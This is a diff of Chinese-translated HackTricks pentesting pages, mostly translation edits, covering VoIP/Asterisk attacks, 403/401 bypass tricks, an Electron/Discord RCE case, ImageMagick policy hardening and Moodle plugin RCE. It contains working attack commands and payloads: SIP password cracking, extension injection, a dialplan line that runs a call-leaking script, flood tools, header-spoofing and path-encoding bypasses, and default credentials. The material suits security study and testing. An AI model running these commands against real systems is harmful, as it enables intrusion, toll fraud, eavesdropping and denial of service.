```
- **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举工具**。 enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
- **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -261,7 +261,7 @@ enumiax -v -m3 -M3 10.10.0.10
### 密码暴力破解 - 在线
在发现了 **PBX** 和一些 **分机/用户名** 后,红队可以尝试通过 `REGISTER` 方法对分机进行身份验证,使用常见密码字典进行暴力破解。
在发现了 **PBX** 和一些 **分机/用户名** 后,红队可以尝试通过 `REGISTER` 方法使用常见密码字典对分机进行身份验证的暴力破解。
> [!CAUTION]
> 请注意,**用户名** 可以与分机相同,但这种做法可能会因 PBX 系统、其配置和组织的偏好而有所不同...
@ -273,7 +273,7 @@ enumiax -v -m3 -M3 10.10.0.10
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
- **`SIPPTS rcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围内多个用户的密码。
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -290,10 +290,10 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
要获取这些信息你可以使用Wireshark、tcpdump等工具……但一个**专门创建的嗅探VoIP对话的工具是** [**ucsniff**](https://github.com/Seabreg/ucsniff)。
> [!CAUTION]
> 请注意,如果**SIP通信中使用TLS**你将无法看到明文的SIP通信。\
> 请注意,如果**SIP通信中使用TLS**你将无法看到明文的SIP通信。\
> 如果使用**SRTP**和**ZRTP****RTP数据包将不会是明文**。
#### SIP凭据(密码暴力破解 - 离线)
#### SIP credentials (Password Brute-Force - offline)
[查看这个例子以更好地理解**SIP REGISTER通信**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example),以了解**凭据是如何发送的**。
@ -302,11 +302,11 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump 可以从 pcap 文件中提取摘要认证。
- **`SIPPTS dump`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump 可以从 pcap 文件中提取摘要认证。
```bash
sippts dump -f capture.pcap -o data.txt
```
- **`SIPPTS dcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack是一个用于破解通过SIPPTS dump获得的摘要认证的工具。
- **`SIPPTS dcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack 是一个用于破解通过 SIPPTS dump 获得的摘要认证的工具。
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
@ -323,27 +323,27 @@ multimon -a DTMF -t wac pin.wav
```
### 免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自 **特定 IP 地址** 或 **任何 IP 地址** 的连接:
在 Asterisk 中,可以允许 **来自特定 IP 地址** 或 **任何 IP 地址** 的连接:
```
host=10.10.10.10
host=dynamic
```
如果指定了IP地址主机**将不需要每隔一段时间发送REGISTER**请求在REGISTER数据包中发送的生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟REGISTER一次。然而它需要开放端口以允许VoIP服务器进行通话。
如果指定了IP地址主机**将不需要每隔一段时间发送REGISTER**请求在REGISTER数据包中发送的生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟进行一次REGISTER。然而它需要开放端口以允许VoIP服务器进行通话连接
要定义用户,可以定义为:
- **`type=user`**:用户只能接电话。
- **`type=friend`**:可以作为对等方拨打电话并作为用户接(与扩展一起使用)
- **`type=user`**:用户只能接电话。
- **`type=friend`**:可以作为对等方拨打电话并作为用户接收电话(与扩展一起使用)
- **`type=peer`**可以作为对等方发送和接收电话SIP-trunks
还可以通过不安全变量建立信任:
- **`insecure=port`**允许通过IP验证的对等连接。
- **`insecure=invite`**不需要对INVITE消息进行身份验证
- **`insecure=port,invite`**:两者都允许
- **`insecure=port,invite`**:两者都可以
> [!WARNING]
> 当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
> 当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
>
> 例如,这种配置将是脆弱的:\
> `host=10.10.10.10`\
@ -365,14 +365,14 @@ exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
这个示例演示了一个名为 "my_context" 的简单上下文,扩展为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎信息,然后话将被终止。
这个示例演示了一个名为 "my_context" 的简单上下文,扩展为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎信息,然后话将被终止。
这是 **另一个上下文**,允许 **拨打任何其他号码**
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
如果管理员将 **默认上下文** 定义为:
如果管理员将 **default context** 定义为:
```
[default]
include => my_context
@ -396,17 +396,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
### 免费电话 / 配置错误的 IVRS
IVRS 代表 **交互式语音响应系统**,是一种电话技术,允许用户通过语音或按键输入与计算机系统进行交互。IVRS 用于构建 **自动呼叫处理** 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
IVRS 代表 **互动语音响应系统**,是一种电话技术,允许用户通过语音或触摸音调输入与计算机系统互动。IVRS 用于构建 **自动呼叫处理** 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
VoIP 系统中的 IVRS 通常包括:
1. **语音提示**:引导用户通过 IVR 菜单选项和说明的预录音频消息。
2. **DTMF**(双音多频)信号:通过按下电话上的键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
2. **DTMF**(双音多频)信号:通过按下电话上的键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
3. **呼叫路由**:根据用户输入将电话直接转接到适当的目的地,如特定部门、代理或分机。
4. **用户输入捕获**:收集来电者的信息,如账户号码、案件 ID 或任何其他相关数据。
5. **与外部系统的集成**:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息、执行操作或触发事件。
在 Asterisk VoIP 系统中,您可以使用拨号计划 (**`extensions.conf`** 文件) 和各种应用程序,如 `Background()``Playback()``Read()` 等,创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
在 Asterisk VoIP 系统中,您可以使用拨号计划**`extensions.conf`** 文件)和各种应用程序(如 `Background()``Playback()``Read()` 等)创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
#### 易受攻击的配置示例
```scss
@ -416,8 +416,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
之前的例子中,用户被要求**按1拨打**一个部门,**按2拨打**另一个部门,或者如果他知道完整的分机号,可以直接输入。\
漏洞在于所指示的**分机长度没有检查因此用户可以输入5秒超时的完整号码并进行拨打。**
用户被要求**按1拨打**一个部门,**按2拨打**另一个部门,或者如果他知道完整的分机号,可以直接输入。\
漏洞在于所指示的**分机长度没有检查因此用户可以输入5秒超时的完整号码并进行拨打。**
### 分机注入
@ -429,11 +429,11 @@ exten => _X.,1,Dial(SIP/${EXTEN})
```scss
exten => 101,1,Dial(SIP/101)
```
然而,如果 **`${EXTEN}`** 允许输入 **不止数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。结果将是
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。这将是结果:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
因此,对扩展 **`101`** 和 **`123123123`** 的呼叫将被发送,只有第一个接到电话的呼叫会被建立……但是如果攻击者使用一个 **绕过任何匹配的扩展**,而这个扩展并不存在,他可以 **仅向所需号码注入一个呼叫**
因此,对扩展 **`101`** 和 **`123123123`** 的呼叫将被发送,只有第一个接到电话的扩展会建立连接……但是如果攻击者使用一个 **绕过任何匹配的扩展**,而这个扩展并不存在,他可以 **仅向所需号码注入一个呼叫**
## SIPDigestLeak 漏洞
@ -441,13 +441,13 @@ SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. 一部 IP 电话(受害者)在任何端口上监听例如5060接受电话呼叫
1. 一部 IP 电话受害者在任何端口例如5060上监听,接受电话呼叫
2. 攻击者向 IP 电话发送 INVITE
3. 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接电话)
3. 受害者电话开始响铃,有人接听并挂断(因为另一端没有人接电话)
4. 当电话挂断时,**受害者电话向攻击者发送 BYE**
5. **攻击者发出 407 响应****请求认证**并发出认证挑战
6. **受害者电话在第二个 BYE 中提供对认证挑战的响应**
7. **攻击者可以在他的本地机器(或分布式网络等)对挑战响应进行暴力破解攻击**并猜测密码
7. **攻击者可以在他的本地机器(或分布式网络等)对挑战响应进行暴力破解攻击**并猜测密码
- **SIPPTS 漏洞**来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 漏洞利用了影响大量 SIP 电话的 SIP Digest Leak 漏洞。输出可以以 SipCrack 格式保存,以便使用 SIPPTS dcrack 或 SipCrack 工具进行暴力破解。
```bash
@ -472,7 +472,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call 允许一个 **web user**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后拨打一个商业电话,当他 **接听电话** 时,用户将 **呼叫并与代理连接**。
Click2Call 允许 **网络用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后拨打一个商业电话,当他 **接听电话** 时,用户将 **呼叫并与代理连接**。
一个常见的 Asterisk 配置文件是:
```scss
@ -484,8 +484,8 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
- 之前的配置允许 **任何 IP 地址连接**(如果密码已知)。
- 要 **发起通话**,如前所述,**不需要读取权限****只需要** **发起****写入** 权限
- 之前的配置允许 **任何 IP 地址连接**(如果知道密码)。
- 要 **组织一个通话**,如前所述,**不需要读取权限****只需要** **在写入中** **发起**
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
```bash
@ -510,17 +510,17 @@ exten => _X.,2,MixMonitor(${NAME})
```
通话将保存在 **`/tmp`**。
您甚至可以让 Asterisk **执行一个脚本,当通话结束时泄露通话**。
您甚至可以让 Asterisk **执行一个在通话结束时泄露通话的脚本**。
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed 漏洞
**RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP实时传输协议流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这发生是因为 RTP 流量在通过 NAT网络地址转换防火墙时绕过了身份验证。
**RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP实时传输协议流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT网络地址转换防火墙时绕过了身份验证。
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时RTP 代理软件通常无法依赖通过信令(例如 SIP获取的 RTP IP 和端口信息。因此,许多 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 影响**,它们也会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中都能找到。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 影响**,它们也会 **接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入到现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中都能找到。
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
@ -530,7 +530,7 @@ Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量
```bash
sippts rtpbleed -i 10.10.0.10
```
- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 检测通过发送 RTCP 流的 RTP Bleed 漏洞。
- **`SIPPTS rtcpbleed`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
```bash
sippts rtcpbleed -i 10.10.0.10
```
@ -544,7 +544,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
在 Asterisk 中,如果你能够以某种方式 **添加扩展规则并重新加载它们**(例如,通过攻陷一个易受攻击的网络管理服务器),则可以使用 **`System`** 命令获得 RCE。
在 Asterisk 中,如果你以某种方式能够 **添加扩展规则并重新加载它们**(例如,通过攻陷一个易受攻击的网络管理服务器),就有可能使用 **`System`** 命令获得 RCE。
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
@ -556,7 +556,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
#### 有趣的本地文件和权限
- **`sip.conf`** -> 包含 SIP 用户的密码。
- 如果 **Asterisk 服务器以 root 身份运行**,您可能会危 root 权限。
- 如果 **Asterisk 服务器以 root 身份运行**,您可能会危 root 权限。
- **mysql root 用户** 可能 **没有任何密码**
- 这可以用来创建一个新的 mysql 用户作为后门。
- **`FreePBX`**
@ -569,20 +569,20 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
### RTP 注入
可以使用工具如 **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 和 **`rtpmixsound`** (`sudo apt install rtpmixsound`) 在对话中插入 **`.wav`** 文件。
可以使用 **`rtpinsertsound`**`sudo apt install rtpinsertsound`)和 **`rtpmixsound`**`sudo apt install rtpmixsound`)等工具在通话中插入 **`.wav`** 文件。
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描对话****`rtpscan.pl`**)、向对话发送 **`.wav`** 文件(**`rtpsend.pl`**)和 **在对话中插入噪音****`rtpflood.pl`**)。
或者您可以使用来自 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) 的脚本来 **扫描通话****`rtpscan.pl`**)、向通话发送 **`.wav`** 文件(**`rtpsend.pl`**)和 **在通话中插入噪音****`rtpflood.pl`**)。
### DoS
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
- **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood 向目标发送无限消息。
- **`SIPPTS flood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood 向目标发送无限消息。
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
- **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于通过 UDP/IP 执行 SIP/SDP INVITE 消息洪水的工具。
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
- [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量,因此也可以用于 DoS。
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可以用于执行 SIP 攻击。
@ -590,7 +590,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
### 操作系统漏洞
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能 **不会再更新它们** **漏洞** 会随着时间的推移被发现。
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它正常工作,系统管理员可能 **不会再更新它们**并且 **漏洞** 会随着时间的推移被发现。
## 参考文献

View File

@ -1,20 +1,20 @@
# 403 & 401 绕过
# 403 & 401 Bypasses
{{#include ../../banners/hacktricks-training.md}}
## HTTP 动词/方法模糊测试
## HTTP Verbs/Methods Fuzzing
尝试使用 **不同的动词** 访问文件: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应** 和 `Content-Length: 55` 表示 **HEAD 动词可以访问信息**。但你仍然需要找到一种方法来提取该信息。
- 检查响应头,可能会提供一些信息。例如,**HEAD****200 响应**`Content-Length: 55` 表示 **HEAD 动词可以访问信息**。但你仍然需要找到一种方法来提取该信息。
- 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
- 使用 **`TRACE`** 动词,如果你非常幸运,可能在响应中也能看到 **中间代理添加的头**,这可能会很有用。
## HTTP 头模糊测试
## HTTP Headers Fuzzing
- **更改 Host 头** 为某个任意值 ([这里有效](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- **更改 Host 头** 为某个任意值 ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- 尝试 [**使用其他用户代理**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) 访问资源。
- **模糊测试 HTTP 头**:尝试使用 HTTP 代理 **头**、HTTP 基本认证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)。
- **Fuzz HTTP Headers**:尝试使用 HTTP 代理 **头**HTTP 认证基本和 NTLM 暴力破解(仅使用少量组合)和其他技术。为此,我创建了工具 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)。
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -30,21 +30,21 @@
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
如果 **路径受到保护**,你可以尝试使用这些其他头绕过路径保护:
如果 **路径保护**,你可以尝试使用这些其他头绕过路径保护:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- 如果页面在 **代理后面**,可能是代理阻止你访问私有信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/index.html) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
- **模糊测试特殊 HTTP 头** 的同时模糊测试 **HTTP 方法**
- 如果页面在 **代理后面**,可能是代理阻止你访问私有信息。尝试利用 [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **或** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
- **Fuzz 特殊 HTTP 头** 同时 Fuzz **HTTP 方法**
- **移除 Host 头**,也许你将能够绕过保护。
## 路径 **模糊测试**
## Path **Fuzzing**
如果 _/path_ 被阻止:
- 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path(双重 URL 编码)
- 尝试使用 `/%2e/path`(如果访问被代理阻止,这可能绕过保护)。也尝试 `/%252e**/path`(双重 URL 编码)
- 尝试 **Unicode 绕过** _/**%ef%bc%8f**path_URL 编码字符类似于 "/"),因此当重新编码时将变为 _//path_,也许你已经绕过了 _/path_ 名称检查
- **其他路径绕过**
- site.com/secret > HTTP 403 Forbidden
@ -64,14 +64,14 @@
- **其他 API 绕过:**
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:111} --> 401 Unauthriozied
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:111} --> 401 Unauthriozied
- {“id”:{“id”:111\}} --> 200 OK
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON 参数污染)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (参数污染)
## **参数操控**
## **Parameter Manipulation**
- 更改 **参数值**:从 **`id=123` --> `id=124`**
- 向 URL 添加额外参数: `?`**`id=124` —-> `id=124&isAdmin=true`**
@ -80,21 +80,21 @@
- 使用特殊字符。
- 在参数中执行边界测试 — 提供值如 _-234__0__99999999_(仅为一些示例值)。
## **协议版本**
## **Protocol version**
如果使用 HTTP/1.1 **尝试使用 1.0** 或甚至测试是否 **支持 2.0**
## **其他绕过**
## **Other Bypasses**
- 获取域的 **IP****CNAME** 并尝试 **直接联系**
- 尝试 **施压服务器** 发送常见的 GET 请求 ([这个人用 Facebook 成功了](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- 尝试 **施压服务器** 发送常见的 GET 请求 ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **更改协议**:从 http 到 https或从 https 到 http
- 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**
## **暴力破解**
## **Brute Force**
- **猜测密码**:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?
- [**暴力破解**](../../generic-hacking/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 认证。
- **猜测密码**:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 认证。
```:Common creds
admin admin
admin password

View File

@ -33,11 +33,11 @@ return 1337
显然,加载和执行代码的另一种方法是访问类似 `file://127.0.0.1/electron/rce.jar` 的内容。
## 示例 2Discord 应用程序 RCE
## 示例 2Discord 应用 RCE
来自 [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) 的示例
在检查预加载脚本时,我发现 Discord 暴露了一个函数,允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用某些允许的模块。\
在检查预加载脚本时,我发现 Discord 暴露了一个函数,允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 调用某些允许的模块到网页中。\
在这里,我无法直接使用可以用于 RCE 的模块,例如 _child_process_ 模块,但我 **发现了一段代码,通过重写 JavaScript 内置方法** 并干扰暴露模块的执行,可以实现 RCE。
以下是 PoC。我能够确认当我 **调用在 devTools 中名为 "_discord_utils_" 的模块中定义的 `getGPUDriverVersions` 函数** 时,**calc** 应用程序会 **弹出**,同时 **重写 `RegExp.prototype.test` 和 `Array.prototype.join`**
@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
return result
}
```
通常_execa_ 尝试执行 "_nvidia-smi.exe_",该路径在 `nvidiaSmiPath` 变量中指定,但由于重写的 `RegExp.prototype.test``Array.prototype.join`**参数在 \_execa**\_** 的内部处理过程中被替换为 "**_**calc**_**"**。
通常_execa_ 尝试执行 "_nvidia-smi.exe_",该路径在 `nvidiaSmiPath` 变量中指定,但由于重写的 `RegExp.prototype.test``Array.prototype.join`**参数在 _execa_ 的内部处理过程中被替换为 "**_**calc**_**"**。
具体来说,参数通过更改以下两个部分被替换。
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和
## 允许列表与拒绝列表方法
历史上ImageMagick 政策依赖于拒绝列表方法其中特定的编码器被拒绝访问。然而ImageMagick 6.9.7-7 的变化改变了这一范式,使允许列表方法成为可能。该方法首先拒绝所有编码器,然后选择性地授予可信编码器访问权限,从而增强了安全态势。
历史上ImageMagick 政策依赖于拒绝列表方法其中特定的编码器被拒绝访问。然而ImageMagick 6.9.7-7 的变化改变了这一范式,使允许列表方法成为可能。该方法首先拒绝所有编码器,然后选择性地授予可信编码器访问权限,从而增强了安全态势。
```xml
...
<policy domain="coder" rights="none" pattern="*" />
@ -21,11 +21,11 @@ ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和
```
## 策略中的大小写敏感性
需要注意的是ImageMagick 中的策略模式是区分大小写的。因此,确保在策略中正确使用大写字母的编码和模块对于防止意外权限至关重要。
需要注意的是ImageMagick 中的策略模式是区分大小写的。因此,确保在策略中正确使用大写字母对于防止意外权限至关重要。
## 资源限制
如果配置不当ImageMagick 易受到拒绝服务攻击。在策略中设置明确的资源限制对于防止此类漏洞至关重要。
如果未正确配置ImageMagick 易受到拒绝服务攻击。在策略中设置明确的资源限制对于防止此类漏洞至关重要。
## 策略碎片化
@ -33,14 +33,14 @@ ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和
```shell
$ find / -iname policy.xml
```
## 一个入门的限制性政策
## A Starter, Restrictive Policy
提出了一种限制性政策模板,专注于严格的资源限制和访问控制。该模板作为开发与特定应用需求对齐的定制政策的基础。
一个限制性政策模板已被提出,专注于严格的资源限制和访问控制。该模板作为开发与特定应用需求相一致的定制政策的基础。
可以使用 `identify -list policy` 命令在 ImageMagick 中确认安全政策的有效性。此外,前面提到的 [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) 可以根据个人需求来完善政策。
## 参考文献
## References
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -66,13 +66,13 @@ cmsmap http://moodle.example.com/<moodle_path>
## **RCE**
你需要拥有**管理员**角色,并且你**可以在**“网站管理”**选项卡中安装插件**\*\*:\*\*
你需要拥有**管理员**角色,并且你**可以在**“网站管理”**选项卡中安装插件**
![](<../../images/image (630).png>)
如果你是管理员,你可能仍然需要**激活此选项**。你可以在moodle特权升级PoC中查看如何操作[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
如果你是管理员,你可能仍然需要**激活此选项**。你可以在moodle权限提升的PoC中查看如何操作[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
